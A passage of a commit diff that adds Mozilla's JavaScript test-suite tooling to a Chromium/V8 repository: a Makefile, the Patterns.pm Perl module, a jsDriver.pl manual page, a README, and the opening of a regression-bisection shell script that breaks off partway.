Update the mozilla tests to new version (as of 2010-06-29).
Review URL: http://codereview.chromium.org/2865028
diff --git a/Makefile b/Makefile
new file mode 100644
index 0000000..1a8505e
--- /dev/null
+++ b/Makefile
@@ -0,0 +1,58 @@
+# -*- Makefile -*-
+TEST_HTTP ?= test.mozilla.com
+TEST_JS = $(shell find . -name '*.js' -print)
+CURRDIR=$(shell pwd)
+JSDIR=$(shell basename $(CURRDIR))
+
+all: menu.html \
+ menu-list.txt \
+ spidermonkey-extensions-n.tests \
+ failures.txt
+
+menu.html: menuhead.html menufoot.html Makefile spidermonkey-n.tests $(TEST_JS)
+ perl mklistpage.pl > menubody.html
+ cat menuhead.html menubody.html menufoot.html > menu.html
+
+spidermonkey-extensions-n.tests: $(TEST_JS)
+ find . -name '*.js' | grep -v shell.js | grep -v browser.js | grep '/extensions/' | sed 's|\.\/||' | sort > $@
+
+menu-list.txt:
+ echo "http://$(TEST_HTTP)/tests/mozilla.org/$(JSDIR)/menu.html" > menu-list.txt
+
+.PHONY: patterns
+
+public-failures.txt:
+ touch $@
+
+confidential-failures.txt:
+ touch $@
+
+universe.data:
+ touch $@
+
+confidential-universe.data:
+ touch $@
+
+patterns: confidential-failures.txt confidential-universe.data public-failures.txt universe.data
+ if [[ -e confidential-failures.txt.expanded ]]; then \
+ cp confidential-failures.txt confidential-failures.txt.save; \
+ export TEST_UNIVERSE=$(CURRDIR)/confidential-universe.data && \
+ ./pattern-extracter.pl confidential-failures.txt.expanded > confidential-failures.txt; \
+ fi
+ if [[ -e public-failures.txt.expanded ]]; then \
+ cp public-failures.txt public-failures.txt.save; \
+ ./pattern-extracter.pl public-failures.txt.expanded > public-failures.txt; \
+ fi
+
+public-failures.txt.expanded: public-failures.txt universe.data
+ ./pattern-expander.pl public-failures.txt > public-failures.txt.expanded
+
+confidential-failures.txt.expanded: confidential-failures.txt confidential-universe.data
+ export TEST_UNIVERSE=$(CURRDIR)/confidential-universe.data && \
+ ./pattern-expander.pl confidential-failures.txt > confidential-failures.txt.expanded
+
+failures.txt: public-failures.txt.expanded confidential-failures.txt.expanded
+ sort -u public-failures.txt.expanded confidential-failures.txt.expanded > failures.txt
+
+clean:
+ rm -f menubody.html menu.html menu-list.txt failures.txt *failures.txt.expanded excluded-*.tests included-*.tests urllist*.html urllist*.tests
diff --git a/Patterns.pm b/Patterns.pm
new file mode 100644
index 0000000..5118d8f
--- /dev/null
+++ b/Patterns.pm
@@ -0,0 +1,257 @@
+# -*- Mode: Perl; tab-width: 4; indent-tabs-mode: nil; -*-
+# ***** BEGIN LICENSE BLOCK *****
+# Version: MPL 1.1/GPL 2.0/LGPL 2.1
+#
+# The contents of this file are subject to the Mozilla Public License Version
+# 1.1 (the "License"); you may not use this file except in compliance with
+# the License. You may obtain a copy of the License at
+# http://www.mozilla.org/MPL/
+#
+# Software distributed under the License is distributed on an "AS IS" basis,
+# WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+# for the specific language governing rights and limitations under the
+# License.
+#
+# The Original Code is Mozilla JavaScript Testing Utilities
+#
+# The Initial Developer of the Original Code is
+# Mozilla Corporation.
+# Portions created by the Initial Developer are Copyright (C) 2008
+# the Initial Developer. All Rights Reserved.
+#
+# Contributor(s): Bob Clary <bclary@bclary.com>
+#
+# Alternatively, the contents of this file may be used under the terms of
+# either the GNU General Public License Version 2 or later (the "GPL"), or
+# the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+# in which case the provisions of the GPL or the LGPL are applicable instead
+# of those above. If you wish to allow use of your version of this file only
+# under the terms of either the GPL or the LGPL, and not to allow others to
+# use your version of this file under the terms of the MPL, indicate your
+# decision by deleting the provisions above and replace them with the notice
+# and other provisions required by the GPL or the LGPL. If you do not delete
+# the provisions above, a recipient may use your version of this file under
+# the terms of any one of the MPL, the GPL or the LGPL.
+#
+# ***** END LICENSE BLOCK *****
+
+package Patterns;
+
+sub getuniversekey
+{
+ my ($machinerecord, $excludeduniversefield) = @_;
+ my $i;
+ my $key = '';
+
+ if ($DEBUG) {
+ dbg("getuniversekey: \$machinerecord=" . recordtostring($machinerecord) . ", \$excludeduniversefield=$excludeduniversefield");
+ }
+
+ for ($i = 0; $i < @universefields; $i++)
+ {
+ if ($DEBUG) {
+ dbg("getuniversekey: \$universefields[$i]=$universefields[$i]");
+ }
+
+ if ($universefields[$i] ne $excludeduniversefield)
+ {
+ $key .= $machinerecord->{$universefields[$i]}
+ }
+ }
+
+ if ($DEBUG) {
+ dbg("getuniversekey=$key");
+ }
+
+ return $key;
+}
+
+sub getuniverse
+{
+ my ($universekey, $excludeduniversefield) = @_;
+ my $i;
+ my $value;
+ my $testrun;
+ my @universe = ();
+ my %universehash = ();
+
+ if ($DEBUG) {
+ dbg("getuniverse: \$universekey=$universekey, \$excludeduniversefield=$excludeduniversefield");
+ }
+
+ for ($i = 0; $i < @testruns; $i++)
+ {
+ $testrun = $testruns[$i];
+ if ($DEBUG) {
+ dbg("getuniverse: \$testruns[$i]=" . recordtostring($testrun));
+ }
+ $testrununiversekey = getuniversekey($testrun, $excludeduniversefield);
+ if ($DEBUG) {
+ dbg("getuniverse: \$testrununiversekey=$testrununiversekey");
+ }
+ if ($testrununiversekey =~ /$universekey/)
+ {
+ if ($DEBUG) {
+ dbg("getuniverse: matched \$testrununiversekey=$testrununiversekey to \$universekey=$universekey");
+ }
+ $value = $testrun->{$excludeduniversefield};
+
+ if ($DEBUG) {
+ dbg("getuniverse: \$testrun->{$excludeduniversefield}=$value");
+ }
+
+ if (! $universehash{$value} )
+ {
+ if ($DEBUG) {
+ dbg("getuniverse: pushing $value");
+ }
+ push @universe, ($value);
+ $universehash{$value} = 1;
+ }
+ }
+ }
+ @universe = sort @universe;
+ if ($DEBUG) {
+ dbg("getuniverse=" . join(',', @universe));
+ }
+ return @universe;
+}
+
+sub recordtostring
+{
+ my ($record) = @_;
+ my $j;
+ my $line = '';
+ my $field;
+
+ for ($j = 0; $j < @recordfields - 1; $j++)
+ {
+ $field = $recordfields[$j];
+ if ($DEBUG) {
+ dbg("recordtostring: \$field=$field, \$record->{$field}=$record->{$field}");
+ }
+ $line .= "$field=$record->{$field}, ";
+ }
+ $field = $recordfields[$#recordfields];
+ if ($DEBUG) {
+ dbg("recordtodtring: \$field=$field, \$record->{$field}= $record->{$field}");
+ }
+ $line .= "$field=$record->{$field}";
+
+ return $line;
+}
+
+sub dumprecords
+{
+ my $record;
+ my $line;
+ my $prevline = '';
+ my $i;
+
+ if ($DEBUG) {
+ dbg("dumping records");
+ }
+
+# @records = sort sortrecords @records;
+
+ for ($i = 0; $i < @records; $i++)
+ {
+ $record = $records[$i];
+ $line = recordtostring($record);
+ if ($line eq $prevline)
+ {
+ dbg("DUPLICATE $line") if ($DEBUG);
+ }
+ else
+ {
+ print "$line\n";
+ $prevline = $line;
+ }
+ }
+}
+
+sub sortrecords
+{
+ return recordtostring($a) cmp recordtostring($b);
+}
+
+sub dbg
+{
+ if ($DEBUG)
+ {
+ print STDERR "DEBUG: " . join(" ", @_) . "\n";
+ }
+}
+
+sub copyreference
+{
+ my ($fromreference) = @_;
+ my $toreference = {};
+ my $key;
+
+ foreach $key (keys %{$fromreference})
+ {
+ $toreference->{$key} = $fromreference->{$key};
+ }
+ return $toreference;
+}
+
+BEGIN
+{
+ dbg("begin");
+
+ my $test_dir = $ENV{TEST_DIR} || "/work/mozilla/mozilla.com/test.mozilla.com/www";
+
+ $DEBUG = $ENV{DEBUG};
+
+ @recordfields = ('TEST_ID', 'TEST_BRANCH', 'TEST_REPO', 'TEST_BUILDTYPE', 'TEST_TYPE', 'TEST_OS', 'TEST_KERNEL', 'TEST_PROCESSORTYPE', 'TEST_MEMORY', 'TEST_TIMEZONE', 'TEST_OPTIONS', 'TEST_RESULT', 'TEST_EXITSTATUS', 'TEST_DESCRIPTION');
+ @sortkeyfields = ('TEST_ID', 'TEST_RESULT', 'TEST_EXITSTATUS', 'TEST_DESCRIPTION', 'TEST_BRANCH', 'TEST_REPO', 'TEST_BUILDTYPE', 'TEST_TYPE', 'TEST_OS', 'TEST_KERNEL', 'TEST_PROCESSORTYPE', 'TEST_MEMORY', 'TEST_TIMEZONE', 'TEST_OPTIONS');
+ @universefields = ('TEST_BRANCH', 'TEST_REPO', 'TEST_BUILDTYPE', 'TEST_TYPE', 'TEST_OS', 'TEST_KERNEL', 'TEST_PROCESSORTYPE', 'TEST_MEMORY', 'TEST_TIMEZONE', 'TEST_OPTIONS');
+
+ @records = ();
+
+ @testruns = ();
+
+ my $UNIVERSE = $ENV{TEST_UNIVERSE} || "$test_dir/tests/mozilla.org/js/universe.data";
+
+ dbg "UNIVERSE=$UNIVERSE";
+
+ open TESTRUNS, "<$UNIVERSE" or die "$?";
+
+ while (<TESTRUNS>) {
+
+ chomp;
+
+ dbg("BEGIN: \$_=$_\n");
+
+ my $record = {};
+
+ my ($test_os, $test_kernel, $test_processortype, $test_memory, $test_timezone, $test_jsoptions, $test_branch, $test_repo, $test_buildtype, $test_type) = $_ =~
+ /^TEST_OS=([^,]*), TEST_KERNEL=([^,]*), TEST_PROCESSORTYPE=([^,]*), TEST_MEMORY=([^,]*), TEST_TIMEZONE=([^,]*), TEST_OPTIONS=([^,]*), TEST_BRANCH=([^,]*), TEST_REPO=([^,]*), TEST_BUILDTYPE=([^,]*), TEST_TYPE=([^,]*)/;
+
+ $record->{TEST_ID} = 'dummy';
+ $record->{TEST_RESULT} = 'dummy';
+ $record->{TEST_EXITSTATUS} = 'dummy';
+ $record->{TEST_DESCRIPTION} = 'dummy';
+
+ $record->{TEST_BRANCH} = $test_branch;
+ $record->{TEST_REPO} = $test_repo;
+ $record->{TEST_BUILDTYPE} = $test_buildtype;
+ $record->{TEST_TYPE} = $test_type;
+ $record->{TEST_OS} = $test_os;
+ $record->{TEST_KERNEL} = $test_kernel;
+ $record->{TEST_PROCESSORTYPE} = $test_processortype;
+ $record->{TEST_MEMORY} = $test_memory;
+ $record->{TEST_TIMEZONE} = $test_timezone;
+ $record->{TEST_OPTIONS} = $test_jsoptions;
+
+ dbg("BEGIN: testrun: " . recordtostring($record));
+
+ push @testruns, ($record);
+ }
+
+ close TESTRUNS;
+
+}
+
+1;
diff --git a/README-jsDriver.html b/README-jsDriver.html
new file mode 100644
index 0000000..1e78f95
--- /dev/null
+++ b/README-jsDriver.html
@@ -0,0 +1,344 @@
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
+<html>
+ <head>
+ <title>jsDriver.pl</title>
+ </head>
+
+ <body bgcolor="white">
+ <h1 align="right">jsDriver.pl</h1>
+
+ <dl>
+ <dt><b>NAME</b></dt>
+ <dd>
+ <b>jsDriver.pl</b> - execute JavaScript programs in various shells in
+ batch or single mode, reporting on failures encountered.
+ <br>
+ <br>
+
+ <dt><b>SYNOPSIS</b></dt>
+ <dd>
+ <table>
+ <tr>
+ <td align="right" valign="top">
+ <code>
+ <b>jsDriver.pl</b>
+ </code>
+ </td>
+ <td>
+ <code>
+ [-hkt] [-b BUGURL] [-c CLASSPATH] [-f OUTFILE]
+ [-j JAVAPATH] [-l TESTLIST ...] [-L NEGLIST ...] [-p TESTPATH]
+ [-s SHELLPATH] [-u LXRURL] [--help] [--confail] [--trace]
+ [--classpath=CLASSPATH] [--file=OUTFILE] [--javapath=JAVAPATH]
+ [--list=TESTLIST] [--neglist=TESTLIST] [--testpath=TESTPATH]
+ [--shellpath=SHELLPATH] [--lxrurl=LXRURL] {-e ENGINETYPE |
+ --engine=ENGINETYPE}
+ </code>
+ </td>
+ </tr>
+ </table>
+ <br>
+ <br>
+
+ <dt><b>DESCRIPTION</b></dt>
+ <dd>
+ <b>jsDriver.pl</b> is normally used to run a series of tests against
+ one of the JavaScript shells. These tests are expected to be laid out
+ in a directory structure exactly three levels deep. The first level
+ is considered the <b>root</b> of the tests, subdirectories under the
+ <b>root</b> represent <b>Test Suites</b> and generally mark broad
+ categories such as <i>ECMA Level 1</i> or <i>Live Connect 3</i>. Under the
+ <b>Test Suites</b> are the <b>Test Categories</b>, which divide the
+ <b>Test Suite</b> into smaller categories, such as <i>Execution Contexts</i>
+ or <i>Lexical Rules</i>. Testcases are located under the
+ <B>Test Categories</b> as normal JavaScript (*.js) files.
+ <p>
+ If a file named <b>shell.js</b> exists in either the
+ <b>Test Suite</b> or the <b>Test Category</b> directory, it is
+ loaded into the shell before the testcase. If <b>shell.js</b>
+ exists in both directories, the version in the <b>Test Suite</b>
+ directory is loaded <i>first</i>, giving the version associated with
+ the <b>Test Category</b> the ability to override functions previously
+ declared. You can use this to
+ create functions and variables common to an entire suite or category.
+ <p>
+ Testcases can report failures back to <b>jsDriver.pl</b> in one of
+ two ways. The most common is to write a line of text containing
+ the word <code>FAILED!</code> to <b>STDOUT</b> or <b>STDERR</b>.
+ When the engine encounters a matching line, the test is marked as
+ failed, and any line containing <code>FAILED!</code> is displayed in
+ the failure report. The second way a test case can report failure is
+ to return an unexpected exit code. By default, <b>jsDriver.pl</b>
+ expects all test cases to return exit code 0, although a test
+ can output a line containing <code>EXPECT EXIT <i>n</i></code> where
+ <i>n</i> is the exit code the driver should expect to see. Testcases
+ can return a nonzero exit code by calling the shell function
+ <code>quit(<i>n</i>)</code> where <code><i>n</i></code> is the
+ code to exit with. The various JavaScript shells report
+ non-zero exit codes under the following conditions:
+
+ <center>
+ <table border="1">
+ <tr>
+ <th>Reason</th>
+ <th>Exit Code</th>
+ </tr>
+ <tr>
+ <td>
+ Engine initialization failure.
+ </td>
+ <td>
+ 1
+ </td>
+ </tr>
+ <tr>
+ <td>
+ Invalid argument on command line.
+ </td>
+ <td>
+ 2
+ </td>
+ </tr>
+ <tr>
+ <td>
+ Runtime error (uncaught exception) encountered.
+ </td>
+ <td>
+ 3
+ </td>
+ </tr>
+ <tr>
+ <td>
+ File argument specified on command line not found.
+ </td>
+ <td>
+ 4
+ </td>
+ </tr>
+ <tr>
+ <td>
+ Reserved for future use.
+ </td>
+ <td>
+ 5-9
+ </td>
+ </tr>
+ </table>
+ </center>
+ <br>
+ <br>
+
+ <dt><b>OPTIONS</b></dt>
+ <dd>
+ <dl>
+ <dt><b>-b URL, --bugurl=URL</b></dt>
+ <dd>
+ Bugzilla URL. When a testcase writes a line in the format
+ <code>BUGNUMBER <i>n</i></code> to <b>STDOUT</b> or <b>STDERR</b>,
+ <b>jsDriver.pl</b> interprets <code><i>n</i></code> as a bugnumber
+ in the <a href="http://bugzilla.mozilla.org">BugZilla</a> bug
+ tracking system. In the event that a testcase which has specified
+ a bugnumber fails, a hyperlink to the BugZilla database
+ will be included in the output by prefixing the bugnumber with the
+ URL specified here. By default, URL is assumed to be
+ "http://bugzilla.mozilla.org/show_bug.cgi?id=".
+ <br>
+ <br>
+ <a name="classpath"></a>
+ <dt><b>-c PATH, --classpath=PATH</b></dt>
+ <dd>
+ Classpath to pass the the Java Virtual Machine. When running tests
+ against the <b>Rhino</b> engine, PATH will be passed in as the value
+ to an argument named "-classpath". If your particular JVM
+ does not support this option, it is recommended you specify your
+ class path via an environment setting. Refer to your JVM
+ documentation for more details about CLASSPATH.
+ <br>
+ <br>
+ <dt><b>-e TYPE ..., --engine=TYPE ...</b></dt>
+ <dd>
+ Required. Type of engine(s) to run the tests against. TYPE can be
+ one or more of the following values:
+ <center>
+ <table border="1">
+ <tr>
+ <th>TYPE</th>
+ <th>Engine</th>
+ </tr>
+ <tr>
+ <td>lcopt</td>
+ <td>LiveConnect, optimized</td>
+ </tr>
+ <tr>
+ <td>lcdebug</td>
+ <td>LiveConnect, debug</td>
+ </tr>
+ <tr>
+ <td>rhino</td>
+ <td>Rhino compiled mode</td>
+ </tr>
+ <tr>
+ <td>rhinoi</td>
+ <td>Rhino interpreted mode</td>
+ </tr>
+ <tr>
+ <td>rhinoms</td>
+ <td>Rhino compiled mode for the Microsoft VM (jview)</td>
+ </tr>
+ <tr>
+ <td>rhinomsi</td>
+ <td>Rhino interpreted mode for the Microsoft VM (jview)</td>
+ </tr>
+ <tr>
+ <td>smopt</td>
+ <td>Spider-Monkey, optimized</td>
+ </tr>
+ <tr>
+ <td>smdebug</td>
+ <td>Spider-Monkey, debug</td>
+ </tr>
+ <tr>
+ <td>xpcshell</td>
+ <td>XPConnect shell</td>
+ </tr>
+ </table>
+ </center>
+ <br>
+ <br>
+ <dt><b>-f FILE, --file=FILE</b></dt>
+ <dd>
+ Generate html output to the HTML file named by FILE. By default,
+ a filename will be generated using a combination of the engine type
+ and a date/time stamp, in the format:
+ <code>results-<i><engine-type></i>-<i><date-stamp></i>.html</code>
+ <br>
+ <br>
+ <dt><b>-h, --help</b></dt>
+ <dd>
+ Prints usage information.
+ <br>
+ <br>
+ <dt><b>-j PATH, --javapath=PATH</b></dt>
+ <dd>
+ Set the location of the Java Virtual Machine to use when running
+ tests against the <b>Rhino</b> engine. This can be used to test
+ against multiple JVMs on the same system.
+ <br>
+ <br>
+ <dt><b>-k, --confail</b></dt>
+ <dd>
+ Log failures to the console. This will show any failures, as they
+ occur, on <b>STDERR</b> in addition to creating the HTML results
+ file. This can be useful for times when it may be
+ counter-productive to load an HTML version of the results each time
+ a test is re-run.
+ <br>
+ <br>
+ <dt><b>-l FILE ..., --list=FILE ...</b></dt>
+ <dd>
+ Specify a list of tests to execute. FILE can be a plain text file
+ containing a list of testcases to execute, a subdirectory
+ in which to
+ <a href="http://www.instantweb.com/~foldoc/foldoc.cgi?query=grovel">grovel</a>
+ for tests, or a single testcase to execute. Any number of FILE
+ specifiers may follow this option. The driver uses the fact that a
+ valid testcase should be a file ending in .js to make the distinction
+ between a file containing a list of tests and an actual testcase.
+ <br>
+ <br>
+ <dt><b>-L FILE ..., --neglist=FILE ...</b></dt>
+ <dd>
+ Specify a list of tests to skip. FILE has the same meaning as in
+ the <b>-l</b> option. This option is evaluated after
+ <b>all</b> <b>-l</b> and <b>--list</b> options, allowing a user
+ to subtract a single testcase, a directory of testcases, or a
+ collection of unrelated testcases from the execution list.
+ <br>
+ <br>
+ <dt><b>-p PATH, --testpath=PATH</b></dt>
+ <dd>
+ Directory holding the "Test Suite" subdirectories. By
+ default this is ./
+ <br>
+ <br>
+ <dt><b>-s PATH, --shellpath=PATH</b></dt>
+ <dd>
+ Directory holding the JavaScript shell. This can be used to override
+ the automatic shell location <b>jsDriver.pl</b> performs based on
+ you OS and engine type. For Non <b>Rhino</b> engines, this
+ includes the name of the executable as well as the path. In
+ <b>Rhino</b>, this path will be appended to your
+ <a href="#classpath">CLASSPATH</a>. For the
+ <b>SpiderMonkey</b> shells, this value defaults to
+ ../src/<Platform-and-buildtype-specific-directory>/[js|jsshell],
+ for the
+ <b>LiveConnect</b> shells,
+ ../src/liveconnect/src/<Platform-and-buildtype-specific-directory>/lschell
+ and for the <b>xpcshell</b> the default is the value of your
+ <code>MOZILLA_FIVE_HOME</code> environment variable. There is no
+ default (as it is usually not needed) for the <b>Rhino</b> shell.
+ <br>
+ <br>
+ <dt><b>-t, --trace</b></dt>
+ <dd>
+ Trace execution of <b>jsDriver.pl</b>. This option is primarily
+ used for debugging of the script itself, but if you are interested in
+ seeing the actual command being run, or generally like gobs of
+ useless information, you may find it entertaining.
+ <br>
+ <br>
+ <dt><b>-u URL, --lxrurl=URL</b></dt>
+ <dd>
+ Failures listed in the HTML results will be hyperlinked to the
+ lxr source available online by prefixing the test path and
+ name with this URL. By default, URL is
+ http://lxr.mozilla.org/mozilla/source/js/tests/
+ <br>
+ <br>
+
+ </dl>
+ <dt><b>SEE ALSO</b></dt>
+ <dd>
+ <a href="http://lxr.mozilla.org/mozilla/source/js/tests/jsDriver.pl">jsDriver.pl</a>,
+ <a href="http://lxr.mozilla.org/mozilla/source/js/tests/mklistpage.pl">mklistpage.pl</a>,
+ <a href="http://www.mozilla.org/js/">http://www.mozilla.org/js/</a>,
+ <a href="http://www.mozilla.org/js/tests/library.html">http://www.mozilla.org/js/tests/library.html</a>
+ <br>
+ <br>
+
+ <dt><b>REQUIREMENTS</b></dt>
+ <dd>
+ <b>jsDriver.pl</b> requires the
+ <a href="http://search.cpan.org/search?module=Getopt::Mixed">Getopt::Mixed</a>
+ perl package, available from <a href="http://www.cpan.org">cpan.org</a>.
+ <br>
+ <br>
+ <dt><b>EXAMPLES</b></dt>
+ <dd>
+ <code>perl jsDriver.pl -e smdebug -L lc*</code><br>
+ Executes all tests EXCEPT the liveconnect tests against the
+ SpiderMonkey debug shell, writing the results
+ to the default result file. (NOTE: Unix shells take care of wildcard
+ expansion, turning <code>lc*</code> into <code>lc2 lc3</code>. Under
+ a DOS shell, you must explicitly list the directories.)
+ <p>
+ <code>perl jsDriver.pl -e rhino -L rhino-n.tests</code><br>
+ Executes all tests EXCEPT those listed in the
+ <code>rhino-n.tests</code> file.
+ <p>
+ <code>perl -I/home/rginda/perl/lib/ jsDriver.pl -e lcopt -l lc2
+ lc3 -f lcresults.html -k</code><br>
+ Executes ONLY the tests under the <code>lc2</code> and <code>lc3</code>
+ directories against the LiveConnect shell. Results will be written to
+ the file <code>lcresults.html</code> <b>AND</b> the console. The
+ <code>-I</code> option tells perl to look for modules in the
+ <code>/home/rginda/perl/lib</code> directory (in addition to the
+ usual places), useful if you do not have root access to install new
+ modules on the system.
+ </dl>
+ <hr>
+ Author: Robert Ginda<br>
+ Currently maintained by <i><a href="mailto:pschwartau@meer.net">Phil Schwartau</a> </i><br>
+<!-- Created: Thu Dec 2 19:08:05 PST 1999 -->
+ </body>
+</html>
diff --git a/README.chromium b/README.chromium
new file mode 100644
index 0000000..5279cba
--- /dev/null
+++ b/README.chromium
@@ -0,0 +1,11 @@
+This is a copy of the mozilla test-suite for usage on the
+v8-buildbots. The revision has been fetched from Mozilla's CVS
+repository as of 2008-09-02. The copy can be extracted by cvs with the
+following command:
+
+cvs -d :pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot co -D 2008-09-02 mozilla/js/tests
+
+This copy only resides here to allow for svn access to the tests.
+
+The license for the mozilla-tests are the Mozilla Public License Version 1.1
+or alternatively either of GPL 2.0 or LGPL 2.1.
diff --git a/bisect.sh b/bisect.sh
new file mode 100755
index 0000000..d923f1f
--- /dev/null
+++ b/bisect.sh
@@ -0,0 +1,488 @@
+#!/bin/bash -e
+# -*- Mode: Shell-script; tab-width: 4; indent-tabs-mode: nil; -*-
+
+# ***** BEGIN LICENSE BLOCK *****
+# Version: MPL 1.1/GPL 2.0/LGPL 2.1
+#
+# The contents of this file are subject to the Mozilla Public License Version
+# 1.1 (the "License"); you may not use this file except in compliance with
+# the License. You may obtain a copy of the License at
+# http://www.mozilla.org/MPL/
+#
+# Software distributed under the License is distributed on an "AS IS" basis,
+# WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+# for the specific language governing rights and limitations under the
+# License.
+#
+# The Original Code is Mozilla JavaScript Testing Utilities
+#
+# The Initial Developer of the Original Code is
+# Mozilla Corporation.
+# Portions created by the Initial Developer are Copyright (C) 2008
+# the Initial Developer. All Rights Reserved.
+#
+# Contributor(s): Bob Clary <bclary@bclary.com>
+#
+# Alternatively, the contents of this file may be used under the terms of
+# either the GNU General Public License Version 2 or later (the "GPL"), or
+# the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+# in which case the provisions of the GPL or the LGPL are applicable instead
+# of those above. If you wish to allow use of your version of this file only
+# under the terms of either the GPL or the LGPL, and not to allow others to
+# use your version of this file under the terms of the MPL, indicate your
+# decision by deleting the provisions above and replace them with the notice
+# and other provisions required by the GPL or the LGPL. If you do not delete
+# the provisions above, a recipient may use your version of this file under
+# the terms of any one of the MPL, the GPL or the LGPL.
+#
+# ***** END LICENSE BLOCK *****
+
+if [[ -z "$TEST_DIR" ]]; then
+ cat <<EOF
+`basename $0`: error
+
+TEST_DIR, the location of the Sisyphus framework,
+is required to be set prior to calling this script.
+
+EOF
+ exit 2
+fi
+
+if [[ ! -e $TEST_DIR/bin/library.sh ]]; then
+ cat <<EOF
+TEST_DIR=$TEST_DIR"
+
+This script requires the Sisyphus testing framework. Please
+cvs check out the Sisyphys framework from mozilla/testing/sisyphus
+and set the environment variable TEST_DIR to the directory where it
+located.
+
+EOF
+ exit 2
+fi
+
+source $TEST_DIR/bin/library.sh
+
+usage()
+{
+ cat <<EOF
+usage: bisect.sh -p product -b branch -e extra\\
+ -T buildtype \\
+ -t test \\
+ -S string \\
+ -G good -B bad \\
+ [-J javascriptoptions]
+
+ variable description
+ =============== ============================================================
+ -p bisect_product one of js, firefox
+ -b bisect_branches one of supported branches. see library.sh
+ -e bisect_extra optional. extra qualifier to pick build tree and mozconfig.
+ -T bisect_buildtype one of build types opt debug
+ -t bisect_test Test to be bisected.
+ -S bisect_string optional. String containing a regular expression which
+ can be used to distinguish different failures for the given
+ test. The script will search the failure log for the pattern
+ "\$bisect_test.*\$string" to determine if a test failure
+ matches the expected failure.
+ bisect_string can contain any extended regular expressions
+ supported by egrep.
+ -G bisect_good For branches 1.8.0, 1.8.1, 1.9.0, date test passed
+ For branch 1.9.1 and later, revision test passed
+ -B bisect_bad For branches, 1.8.0, 1.8.1, 1.9.0 date test failed
+ For branch 1.9.1 and later, revision test failed.
+
+ If the good revision (test passed) occurred prior to the bad revision
+ (test failed), the script will search for the first bad revision which
+ caused the test to regress.
+
+ If the bad revision (test failed) occurred prior to the good revision
+ (test passed), the script will search for the first good revision which
+ fixed the failing test.
+
+ -D By default, clobber builds will be used. For mercurial based builds
+ on branch 1.9.1 and later, you may specify -D to use depends builds.
+ This may achieve significant speed advantages by eliminating the need
+ to perform clobber builds for each bisection.
+
+ -J javascriptoptions optional. Set JavaScript options:
+ -Z n Set gczeal to n. Currently, only valid for
+ debug builds of Gecko 1.8.1.15, 1.9.0 and later.
+ -z optional. use split objects in the shell.
+ -j optional. use JIT in the shell. Only available on 1.9.1 and later
+EOF
+
+ exit 2
+}
+
+verbose=0
+
+while getopts "p:b:T:e:t:S:G:B:J:D" optname;
+do
+ case $optname in
+ p) bisect_product=$OPTARG;;
+ b) bisect_branch=$OPTARG;;
+ T) bisect_buildtype=$OPTARG;;
+ e) bisect_extra="$OPTARG"
+ bisect_extraflag="-e $OPTARG";;
+ t) bisect_test="$OPTARG";;
+ S) bisect_string="$OPTARG";;
+ G) bisect_good="$OPTARG";;
+ B) bisect_bad="$OPTARG";;
+ J) javascriptoptions=$OPTARG;;
+ D) bisect_depends=1;;
+ esac
+done
+
+# javascriptoptions will be passed by environment to runtests.sh
+
+if [[ -z "$bisect_product" || -z "$bisect_branch" || -z "$bisect_buildtype" || -z "$bisect_test" || -z "$bisect_good" || -z "$bisect_bad" ]]; then
+ echo "bisect_product: $bisect_product, bisect_branch: $bisect_branch, bisect_buildtype: $bisect_buildtype, bisect_test: $bisect_test, bisect_good: $bisect_good, bisect_bad: $bisect_bad"
+ usage
+fi
+
+OPTIND=1
+
+# evaluate set-build-env.sh in this process to pick up the necessary environment
+# variables, but restore the PATH and PYTHON to prevent their interfering with
+# Sisyphus.
+
+savepath="$PATH"
+savepython="$PYTHON"
+eval source $TEST_DIR/bin/set-build-env.sh -p $bisect_product -b $bisect_branch $bisect_extraflag -T $bisect_buildtype > /dev/null
+PATH=$savepath
+PYTHON=$savepython
+
+# TEST_JSDIR must be set after set-build-env.sh is called
+# on Windows since TEST_DIR can be modified in set-build-env.sh
+# from the pure cygwin path /work/... to a the cygwin windows path
+# /c/work/...
+TEST_JSDIR=${TEST_JSDIR:-$TEST_DIR/tests/mozilla.org/js}
+
+if [[ "$bisect_branch" == "1.8.0" || "$bisect_branch" == "1.8.1" || \
+ "$bisect_branch" == "1.9.0" ]]; then
+
+ #
+ # binary search using CVS
+ #
+
+ # convert dates to seconds for ordering
+ localgood=`dateparse.pl $bisect_good`
+ localbad=`dateparse.pl $bisect_bad`
+
+ # if good < bad, then we are searching for a regression,
+ # i.e. the first bad changeset
+ # if bad < good, then we are searching for a fix.
+ # i.e. the first good changeset. so we reverse the nature
+ # of good and bad.
+
+ if (( $localgood < $localbad )); then
+ cat <<EOF
+
+searching for a regression between $bisect_good and $bisect_bad
+the bisection is searching for the transition from test failure not found, to test failure found.
+
+EOF
+
+ searchtype="regression"
+ bisect_start=$bisect_good
+ bisect_stop=$bisect_bad
+ else
+ cat <<EOF
+
+searching for a fix between $bisect_bad and $bisect_good
+the bisection is searching for the transition from test failure found to test failure not found.
+
+EOF
+
+ searchtype="fix"
+ bisect_start=$bisect_bad
+ bisect_stop=$bisect_good
+ fi
+
+ let seconds_start="`dateparse.pl $bisect_start`"
+ let seconds_stop="`dateparse.pl $bisect_stop`"
+
+ echo "checking that the test fails in the bad revision $bisect_bad"
+ eval $TEST_DIR/bin/builder.sh -p $bisect_product -b $bisect_branch $bisect_extraflag -T $bisect_buildtype -B "clobber" > /dev/null
+ export MOZ_CO_DATE="$bisect_bad"
+ eval $TEST_DIR/bin/builder.sh -p $bisect_product -b $bisect_branch $bisect_extraflag -T $bisect_buildtype -B "checkout" > /dev/null
+ bisect_log=`eval $TEST_JSDIR/runtests.sh -p $bisect_product -b $bisect_branch $bisect_extraflag -T $bisect_buildtype -I $bisect_test -B "build" -c -t -X /dev/null 2>&1 | grep '_js.log $' | sed 's|log: \([^ ]*\) |\1|'`
+ if [[ -z "$bisect_log" ]]; then
+ echo "test $bisect_test not run."
+ else
+ if egrep -q "$bisect_test.*$bisect_string" ${bisect_log}-results-failures.log; then
+ echo "test failure $bisect_test.*$bisect_string found, bad revision $bisect_bad confirmed"
+ bad_confirmed=1
+ else
+ echo "test failure $bisect_test.*$bisect_string not found, bad revision $bisect_bad *not* confirmed"
+ fi
+ fi
+
+ if [[ "$bad_confirmed" != "1" ]]; then
+ error "bad revision not confirmed";
+ fi
+
